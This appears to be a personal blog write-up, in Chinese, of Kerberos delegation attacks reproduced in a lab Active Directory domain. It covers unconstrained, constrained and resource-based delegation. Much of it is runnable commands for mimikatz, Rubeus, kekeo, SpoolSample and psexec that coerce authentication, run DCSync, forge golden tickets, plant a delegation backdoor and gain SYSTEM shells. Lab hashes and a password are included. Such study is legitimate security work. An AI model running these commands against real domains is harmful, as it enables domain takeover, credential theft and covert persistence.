kerberos委派利用

  1. 介绍
  2. 环境
  3. 准备过程
  4. 无约束委派
  5. 约束委派
  6. 资源委派

介绍

最近看了不少委派利用的方式,也试着复现了不少。总结一下,常见的委派如下

  • 无约束委派
  • 约束委派
  • 资源委派

使用委派前提:
用户是个服务账户,使用setspn注册用户服务
setspn格式:

<serviceclass>/<host>:<port>/<service name>
<service class>:标识服务类的字符串
<host>:服务所在主机名称
<port>:服务端口
<service name>:服务名称

Example:
setspn -D Server/WIN-SLMQA1H7SLH.DOMAIN.local:445 user01

Ps:服务一定是computer存在的,不然是无效的,之前傻逼试了半天。发现没有成功,是服务不存在的原因->约束委派

Examples:
MSSQLMSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
Exchange
exchangeMDB/adsmsEXCAS01.adsecurity.org
RDP
TERMSERV/adsmsEXCAS01.adsecurity.org
WSMan / WinRM / PS Remoting
WSMAN/adsmsEXCAS01.adsecurity.org
Hyper-V Host
Microsoft Virtual Console Service/adsmsHV01.adsecurity.org
VMWare VCenter
STS/adsmsVC01.adsecurity.org

可以委派的东西:

  • user
  • computer

委派里的术语:

* 不信任此用户作为委派:不允许此用户委派
* 信任此用户作为任何服务的委派:非约束委派
* 仅信任此用户作为指定服务的委派
    * 仅使用Kerberos(只将用户作为kerberos服务委派)
    * 指定服务类型委派

环境

computername:WIN-SLMQA1H7SLB.DOMAIN.local ip:192.168.1.201 域内主机
computername:WIN-SJDK9J352PJ.DOMAIN.local ip:192.168.1.109 域控

准备过程

无约束委派用户user01 (这样和约束委派没啥区别的感觉…当然可能我的理解有误)

setspn -A Server/WIN-SLMQA1H7SLH.DOMAIN.local:445 user01

同一个服务重新注册服务的时候,记得把用户取消注册服务

setspn -D <service>/<host> <username>
Example:setspn -D Server/WIN-SLMQA1H7SLH.DOMAIN.local:445 user01

无约束委派主机WIN-SLMQA1H7SLB

约束委派用户

setspn -U -A Server/WIN-SJDK9J352PJ.DOMAIN.local:445 user01

无约束委派

利用前提:得到被委派主机的权限
利用的方法:

  • 被动搜刮机子里的票据,看看有没有高权的票据
  • 非约束委派+Spooler打印机服务 制作黄金票据
  • 中继攻击 (没测试)

被动利用
假设DC访问配置了SPN的域内主机

域内主机使用mimikatz导出票据

mimikatz command:
privilege::debug
sekulrsa::tickets /export

但是不是krbtgt,非kerberos协议无法利用

主动利用
开启Rubeus监听域控传来的密钥

格式:Rubeus.exe monitor /interval:1 /filteruser:<域控computername>$ #interval代表1秒监听一次,filteruser表示只监听指定主机的密钥,不设置则监听所有传来的密钥

Rubeus.exe monitor /interval:1 /filteruser:WIN-SJDK9J352PJ$

利用打印服务强制让域控机向域内主机表名身份

格式:SpoolSample_v4.5_x64..exe <域控computername> <被设置为非约束委派的computername>
SpoolSample_v4.5_x64..exe WIN-SJDK9J352PJ WIN-SLMQA1H7SLB

将得到的base64处理一下(去掉空格换行符那些),使用powershell转换成TGT

[IO.File]::WriteAllBytes("绝对路径\ticket.kribi", [Convert]::FromBase64String("得到的base64") #绝对路径是必须的否则不行

Ps:我们这儿获得的TGT票据,不能算黄金票据,因为我们获得的权限只是域控的本地管理权限,所以不能连接域控,但是我们确可以因此获取所以用户的hash,所以能制作真正的黄金票据

dump dcsync

kerberos::purge
kerberos::ptt tckest.kribi
kerberos::list
lsadump::dcsync /domain DOMAIN.local /all /csv

制作金票

1.域SID (whoami /user去掉权限位就是,最后一个-和后面的内容不要)
2.Krbtgt的hash
3.要伪造的用户名
4.导出的票据名称

kerberos::golden /domain:DOMAIN.local /SID:S-1-5-21-447451162-2905414466-2158217208 /krbtgt:3545206ebb9114742e9de826d0d35de7 /user:administrator /ticket:ntlm.kirbi

导入金票利用:

kerberos::purge
kerberos::ptt ntlm.kirbi
exit
klist #查看当前票据

约束委派

利用前提:得到被委派的用户账户或hash或TGT
利用的方法:
受限委派的情况下,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务。
但是如果攻击者可以获取到开启非限制委派的服务账户的明文口令/NTLM Hash,也可以伪造TGT和S4U请求
伪装成服务账户以任意账户的权限(如域管理员)申请TGS
其中服务账户的明文口令可能可以通过Kerberoasting攻击获取
在知道服务账号明文口令的情况下,使用kekeo获取TGT

kekeo.exe "tgt::ask /user:<username> /domain:<domain> /password:<password>" exit

kekeo也支持直接使用NTLM进行TGT请求

kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86" exit

如果攻击者可以直接拿到IIS服务所在服务器的权限,也可以直接从内存中提取服务账户TGT,无需进行tgt::ask,直接tgt::s4u即可

mimikatz.exe "privilege::debug" "sekurlsa::ticket /export" exit

kekeo通过s4u请求以DOMAIN\test用户身份访问CIFS的TGS
S4U2Self获取到的ticket和S4U2Proxy获取到的WIN-SJDK9J352PJ CIFS服务的TGS会以文件保存在当前目录下

kekeo.exe "tgs::s4u /tgt:TGT_test@DOMAIN.LOCAL_krbtgt~DOMAIN.local@DOMAIN.LOCAL.kirbi /user:Administrator@DOMAIN.local /service:cifs/WIN-SJDK9J352PJ.DOMAIN.local" exit


mimikatz将获取到的TGS写入当前会话

后门维持

随便注册一个服务

setspn -U -A backdoor/WIN-SLMQA1H7SLB.DOMAIN.local user01


使用1powershell设置属性(ldap协议注册)

$user = Get-ADUser user01 -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/WIN-SJDK9J352PJ.DOMAIN.local") }
Set-ADAccountControl $user -TrustedToAuthForDelegation $true

如果想取消用户的msDS-AllowedToDelegateTo,可以用powerview(当然set-aduser应该也行)

Set-DomainObject user01 -Clear 'msDS-AllowedToDelegateTo' -Verbose

用set-aduser:
Set-ADUser user01 -Clear 'msDS-AllowedToDelegateTo'

在把对应的用户勾选不使用用户委派,重新用Ad用户和计算机打开看就没了

使用user01的凭证申请TGT

kekeo.exe "tgt::ask /user:user01 /domain:DOMAIN.local /password:Haq1234561" exit

用TGT申请域控的凭证

kekeo.exe "tgs::s4u /tgt:TGT_user01@DOMAIN.LOCAL_krbtgt~DOMAIN.local@DOMAIN.LOCAL.kirbi /user:haq@DOMAIN.local /service:ldap/WIN-SJDK9J352PJ.DOMAIN.local" exit

mimikatz导入TGT并使用lsadump::dsync导出krbtgt的hash

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:DOMAIN.local /ntlm:3545206ebb9114742e9de826d0d35de7 /run:cmd.exe" exit

mimikatz.exe "kerberos::golden /domain:DOMAIN.local /SID:S-1-5-21-447451162-2905414466-2158217208 /krbtgt:3545206ebb9114742e9de826d0d35de7 /user:administrator /ticket:ntlm.kirbi" exit

然后造金票,利用方法一样

资源委派

需要了解的两个协议

  • S4U2Self
    通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS),上文已经解释过了,它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候,网站A是没有用户X的TGS的,但是是网站A要去获取文件服务器B的访问权限(TGS)需要用户X的TGS,因此S4U2Self解决了这个问题,网站A服务器可以使用它去向KDC请求一张用户X身份的TGS,网站A服务器再用这张TGS去发起S4U2proxy请求。

  • S4U2proxy
    该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS,这张TGS的身份还是用户X,这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了。

用户要求->SPN用户(非SPN用户无法s4u申请域管票据)
资源委派->利用用户的ACL进行利用
主要注意的五个ACL权限->GenericAll、GenericWrite、WriteProperty、WriteDacl

微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)这篇文章提到的便是利用WriteProperty ACL从用域用户加入的时候就已经存在,所以可以利用这个ACL给自己添加一个机器账户(同时也是SPN),然后给目标机器设置msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToActOnBehalfOfOtherIdentity属性,然后在申请高权TGS导入。

过程:
.通过LDAP添加机器账户
2.并获取新建用户的SID
3.对指定目标机添加msDS-AllowedToActOnBehalfOfOtherIdentity,value为D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<新建用户的SID>)
4.获取新账户的TGT
5.利用得到的TGT去申请高权(域管)的票据

msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToActOnBehalfOfOtherIdentity
在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中介绍过了。此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。简而言之, 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据,但该票据只对这台机器生效,然后拿这张票据去对计算机进行认证。也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时,可以通过给所在机器配置”msDS-AllowedToActOnBehalfOfOtherIdentity”属性来设置rbcd,然后通过s4u协议申请高权限票据进行利用。

利用SharpAllowedToAct可以成功给目标机子加上对应的msDS-AllowedToActOnBehalfOfOtherIdentity属性,但是setspn与文章不符,没法继续下去。emmm

文章里成功添加用户并给目标机器添加了msDS-AllowedToActOnBehalfOfOtherIdentity属性后的SPN

(n0thing-pc为目标机器名)

自己测试过程

那么就直接总结一下算了….

寻找某个用户可操控的机子:

  • 利用powerView
  • 利用C#

powerview

Get-DomainUser -Identity <user> -Properties objectsid #获取某个用户的SID
Get-DomainObjectAcl -Identity <computername>  | ?{$_.SecurityIdentifier -match "<userid>"} #查询某个机子的权限

C#


using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
    class Program
    {
        static void Main(string[] args)
        {
            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");
            DirectorySearcher search = new DirectorySearcher(ldap_conn);
            String query = "(&(objectClass=computer))";//查找计算机
            search.Filter = query;
            foreach (SearchResult r in search.FindAll())
            {
                String mS_DS_CreatorSID="";
                String computername = "";
                try
                {
                    computername = r.Properties["dNSHostName"][0].ToString();
                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
                }
                catch
                {
                    ;
                }
                //再通过sid找用户名
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;
                foreach (SearchResult u in search2.FindAll())
                {
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
                    if (user_sid == mS_DS_CreatorSID) {
                        //Console.WriteLine("debug");
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);
                    }
                }
            }
        }
    }
}

利用SharpAllowedToAct-master实现用户添加
仓库地址:https://github.com/pkb1s/SharpAllowedToAct

利用有两种方法

  • Rubeus+Psexec
  • impacket工具包->getST.py+smbexec.py

Rubeus+Psexec利用过程:

Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local #转换成hash得到RC4
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt #申请票据导入
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/dm2008 /ptt #申请host票据,如果不申请host票据psexec无法返回shell
psexec \\<computername> -s cmd

Ps:用Rubeus你就得申请两个服务票据:HOST和CIFS,如果是用impacket套件的话就申请个CIFS就可以了。

impacket提权如下
来自微信公众号文章《微软不认的提权漏洞——“烂番茄”》里的视频截图

Ps:在域内,服务权限那些,也可以利用这种方法提权。以为服务出网的时候用的账户的权限


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:kerberos委派利用

本文作者:九世

发布时间:2020-06-22, 20:26:23

最后更新:2020-06-23, 00:12:29

原始链接:http://jiushill.github.io/posts/216ead38.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录